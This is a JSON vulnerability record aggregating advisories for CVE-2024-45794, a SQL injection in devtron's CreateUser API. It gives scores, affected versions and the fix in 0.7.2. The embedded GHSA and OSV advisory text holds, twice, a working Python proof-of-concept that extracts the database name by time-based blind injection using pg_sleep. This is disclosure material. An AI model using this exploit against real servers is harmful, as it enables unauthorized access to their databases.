{"id":"CVE-2024-45794","aliases":["EUVD-2024-3299","GHSA-q78v-cv36-8fxj","GO-2024-3260","SUSE-SU-2024:4042-1","openSUSE-SU-2024:14482-1"],"status":"published","title":"SQL Injection in CreateUser API in devtron","description":"devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00749,"percentile":0.55262,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2024-11-07T17:14:04Z","modified":"2026-06-17T07:54:49Z","fixes":[{"ecosystem":"Go","package":"github.com/devtron-labs/devtron","fixed_in":["0.7.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/devtron-labs/devtron","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/devtron-labs/devtron","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/devtron-labs/devtron","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP5","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20241112T145010-150000.1.17.1"}]}],"bundled":7},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20241112T145010-150000.1.17.1"}]}],"bundled":7},{"source":"osv","ecosystem":"openSUSE:Leap 15.5","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20241112T145010-150000.1.17.1"}]}],"bundled":7},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20241112T145010-150000.1.17.1"}]}],"bundled":7},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20241108T172500-1.1"}]}],"bundled":2}],"products":[{"vendor":"devtron","product":"devtron"},{"vendor":"devtron-labs","product":"devtron"},{"vendor":"kubernetes","product":"devtron"}],"references":[{"url":"https://github.com/devtron-labs/devtron/security/advisories/GHSA-q78v-cv36-8fxj","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","web","advisory"]},{"url":"https://github.com/devtron-labs/devtron/commit/1540271bd777b6bccd288e513a9070d8f04b6056","tags":["web","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45794","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q78v-cv36-8fxj"},{"url":"https://github.com/devtron-labs/devtron","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20244042-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-10389","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-10975","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45794","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-48057","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-51735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-51744","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-51746","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/MIQSM7MAIDYW7UOVLTLV7YAGSNTSKIUM/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2024-45794","title":"SQL Injection in CreateUser API in devtron","description":"devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-07T17:42:58.662Z","modified":"2024-11-07T19:33:42.084Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:34:08.16279Z"}],"euvd":[{"id":"EUVD-2024-3299","description":"devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-07T17:42:58Z","modified":"2024-11-07T19:33:42Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-03T00:05:07.826667Z"}],"ghsa":[{"id":"GHSA-q78v-cv36-8fxj","title":"Devtron has SQL Injection in CreateUser API","description":"### Summary\nAn authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).\n\n### Details\nThe API is CreateUser (/orchestrator/user).\n\nThe function to read user input is:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104\n\nThe userInfo (line 104) parameter can be controlled by users.\n\nThe SQL injection can happen in the code:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038\n\nThe query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.\n\nThe user should be authenticated but only needs minimum permissions:\n![image](https://github.com/user-attachments/assets/08ba940e-33a8-408d-9a1e-9cd1504b95c5)\n\n\n### PoC\n\nDemonstrate a blind SQL injection to retrieve the database name:\n\n```\nimport requests\nimport time\nimport string\nimport argparse\n\ndef blind(ip, token, query):\n    url = f\"http://{ip}/orchestrator/user\"\n    headers = {\"token\": token}\n    entity = \"chart-group\"\n    payload = f\"'; {query} --\"\n\n    data = {\"id\": 111, \"email_id\": \"abcd123@126.com\", \"superAdmin\": False, \"roleFilters\":[{\"team\":\"\", \"environment\":\"\", \"action\": \"\", \"entity\": entity, \"accessType\": payload}]} #\"EntityName\": \"test\", \"AccessType\": \"test\", \"Cluster\": \"\",\\\"NameSpace\": \"devtroncd\", \"Group\": \"\", \"Kind\": \"\", \"Resource\": \"\", \"Workflow\": \"\"\n    start = time.time()\n    res = requests.post(url, headers=headers, json = data)\n    end = time.time()\n    #print(res.content)\n    if(end - start \u003e 1):\n        return True\n    return False\n\ndef main(ip, token):\n    chs = string.printable\n    result = \"\"\n    is_end = False\n    i = 1\n    while(not is_end):\n        is_end = True\n        for ch in chs:\n            if(blind(ip, token, f\"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;\")):\n                print(ch)\n                result += ch\n                is_end = False\n                break\n        i += 1\n    print(result)\n\nif __name__ == \"__main__\":\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument(\"--ip\", \"-i\", type=str, help=\"Target IP\")\n    argparser.add_argument(\"--token\", \"-t\", type=str, help=\"API TOKEN\")\n    args = argparser.parse_args()\n    main(args.ip, args.token)\n```\n\nThe debugging breakpoint indicated that the malicious SQL query was executed:\n![image](https://github.com/user-attachments/assets/c9067360-8fb3-4d64-82e9-3af1e5e60969)\n\nWe can see that we can get the database name:\n![image](https://github.com/user-attachments/assets/29d5d969-876a-452d-be7f-8984d2a28c25)\n\n\n### Impact\nSQL injection vulnerability. Our tests indicate that the latest version is affected.\n\nThe reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.\n","status":"published","published":"2024-11-07T17:14:04Z","modified":"2024-11-08T02:09:27Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:38:16.477822Z"}],"nvd":[{"id":"CVE-2024-45794","description":"devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-07T18:15:17.15Z","modified":"2026-06-17T07:54:49.83Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:10:36.560164Z"}],"osv":[{"id":"GHSA-q78v-cv36-8fxj","title":"Devtron has SQL Injection in CreateUser API","description":"### Summary\nAn authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).\n\n### Details\nThe API is CreateUser (/orchestrator/user).\n\nThe function to read user input is:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104\n\nThe userInfo (line 104) parameter can be controlled by users.\n\nThe SQL injection can happen in the code:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038\n\nThe query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.\n\nThe user should be authenticated but only needs minimum permissions:\n![image](https://github.com/user-attachments/assets/08ba940e-33a8-408d-9a1e-9cd1504b95c5)\n\n\n### PoC\n\nDemonstrate a blind SQL injection to retrieve the database name:\n\n```\nimport requests\nimport time\nimport string\nimport argparse\n\ndef blind(ip, token, query):\n    url = f\"http://{ip}/orchestrator/user\"\n    headers = {\"token\": token}\n    entity = \"chart-group\"\n    payload = f\"'; {query} --\"\n\n    data = {\"id\": 111, \"email_id\": \"abcd123@126.com\", \"superAdmin\": False, \"roleFilters\":[{\"team\":\"\", \"environment\":\"\", \"action\": \"\", \"entity\": entity, \"accessType\": payload}]} #\"EntityName\": \"test\", \"AccessType\": \"test\", \"Cluster\": \"\",\\\"NameSpace\": \"devtroncd\", \"Group\": \"\", \"Kind\": \"\", \"Resource\": \"\", \"Workflow\": \"\"\n    start = time.time()\n    res = requests.post(url, headers=headers, json = data)\n    end = time.time()\n    #print(res.content)\n    if(end - start \u003e 1):\n        return True\n    return False\n\ndef main(ip, token):\n    chs = string.printable\n    result = \"\"\n    is_end = False\n    i = 1\n    while(not is_end):\n        is_end = True\n        for ch in chs:\n            if(blind(ip, token, f\"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;\")):\n                print(ch)\n                result += ch\n                is_end = False\n                break\n        i += 1\n    print(result)\n\nif __name__ == \"__main__\":\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument(\"--ip\", \"-i\", type=str, help=\"Target IP\")\n    argparser.add_argument(\"--token\", \"-t\", type=str, help=\"API TOKEN\")\n    args = argparser.parse_args()\n    main(args.ip, args.token)\n```\n\nThe debugging breakpoint indicated that the malicious SQL query was executed:\n![image](https://github.com/user-attachments/assets/c9067360-8fb3-4d64-82e9-3af1e5e60969)\n\nWe can see that we can get the database name:\n![image](https://github.com/user-attachments/assets/29d5d969-876a-452d-be7f-8984d2a28c25)\n\n\n### Impact\nSQL injection vulnerability. Our tests indicate that the latest version is affected.\n\nThe reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.\n","status":"published","published":"2024-11-07T17:14:04Z","modified":"2024-11-08T17:56:59.835617Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"GO-2024-3260","title":"Devtron has SQL Injection in CreateUser API in github.com/devtron-labs/devtron","description":"Devtron has SQL Injection in CreateUser API in github.com/devtron-labs/devtron","status":"published","published":"2024-11-08T17:25:00Z","modified":"2026-03-03T04:56:00.381221Z","updated_at":"2026-11-02T15:47:01.453823Z"},{"id":"openSUSE-SU-2024:14482-1","title":"govulncheck-vulndb-0.0.20241108T172500-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20241108T172500-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-11-09T00:00:00Z","modified":"2026-02-04T03:08:17.72721Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"SUSE-SU-2024:4042-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20241112T145010 2024-11-12T14:50:10Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3250 CVE-2024-51744 GHSA-29wx-vh33-7x7r\n\n- Update to version 0.0.20241108T172500 2024-11-08T17:25:00Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3260 CVE-2024-45794 GHSA-q78v-cv36-8fxj\n  * GO-2024-3262 CVE-2024-10975 GHSA-2w5v-x29g-jw7j\n\n- Update to version 0.0.20241106T172143 2024-11-06T17:21:43Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3251 CVE-2024-10389 GHSA-q3rp-vvm7-j8jg\n  * GO-2024-3252 CVE-2024-51746 GHSA-8pmp-678w-c8xx\n  * GO-2024-3253 CVE-2024-48057 GHSA-ghx4-cgxw-7h9p\n  * GO-2024-3254 CVE-2024-51735 GHSA-wvv7-wm5v-w2gv\n","status":"published","published":"2024-11-22T10:44:11Z","modified":"2026-02-04T19:52:46.813701Z","updated_at":"2026-11-02T15:53:55.639015Z"}]}}